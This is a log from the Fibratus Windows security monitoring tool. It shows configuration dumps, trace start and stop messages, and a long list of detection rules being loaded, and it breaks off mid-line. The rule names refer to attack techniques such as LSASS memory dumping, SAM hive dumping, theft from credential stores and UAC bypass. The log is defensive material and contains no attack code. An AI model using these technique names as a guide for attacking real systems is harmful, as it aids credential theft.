from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text max-size=>100 max-age=>0 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST enabled=>false serializer=>json timeout=>5s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ sniff=>false gzip-compression=>false flush-period=>1s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s template-name=>fibratus trace-log=>false enabled=>false healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 index-name=>fibratus] amqp=>[ exchange-type=>topic delivery-mode=>transient timeout=>5s vhost=>/ enabled=>false routing-key=>fibratus exchange=>fibratus durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-mmaps=>false scan-timeout=>10s skip-registry=>false skip-files=>false fastscan=>true skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:26:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:27:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:27:47+01:00 level=warning msg=unable to read \Device\HarddiskVolumeShadowCopy3\Users\nedo\AppData\Local\Packages\Microsoft.Office.Desktop_8wekyb3d8bbwe\LocalCache\Local\Microsoft\Outlook\ from raw device: runtime error: invalid memory address or nil pointer dereference source=ntfs/ntfs.go:47 +time=2025-11-25T18:28:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:28:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:28:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:28:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T18:28:51+01:00 level=info msg=bootstrapping with pid 1064. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:28:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false stack-enrichment=>true flush-interval=>1s enable-mem=>false max-buffers=>36 enable-vamap=>true enable-thread=>true enable-net=>true enable-registry=>true enable-image=>true enable-fileio=>true enable-handle=>false enable-dns=>false min-buffers=>16 buffer-size=>512 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text log-stdout=>true level=>info max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ vhost=>/ delivery-mode=>transient exchange-type=>topic durable=>false enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus timeout=>5s passive=>false] http=>[ enabled=>false enable-gzip=>false serializer=>json method=>POST tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s] elasticsearch=>[ healthcheck-interval=>10s healthcheck=>true flush-period=>1s template-name=>fibratus sniff=>false trace-log=>false bulk-workers=>1 index-name=>fibratus timeout=>5s enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false enabled=>false excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:28:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:28:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:30:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:30:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:30:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:30:07+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:07+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:30:07+01:00 level=info msg=bootstrapping with pid 17188. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:30:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ stack-enrichment=>true buffer-size=>512 enable-image=>true enable-dns=>false max-buffers=>36 enable-net=>true enable-audit-api=>true flush-interval=>1s enable-registry=>true enable-handle=>false enable-vamap=>true min-buffers=>16 enable-threadpool=>false enable-fileio=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s gzip-compression=>false timeout=>5s sniff=>false index-name=>fibratus healthcheck=>true] http=>[ timeout=>5s endpoints=>[] method=>POST tls-insecure-skip-verify=>false serializer=>json enabled=>false enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false exchange-type=>topic timeout=>5s enabled=>false passive=>false exchange=>fibratus routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] enabled=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:30:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:30:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:30:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:30:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:30:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:30:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from 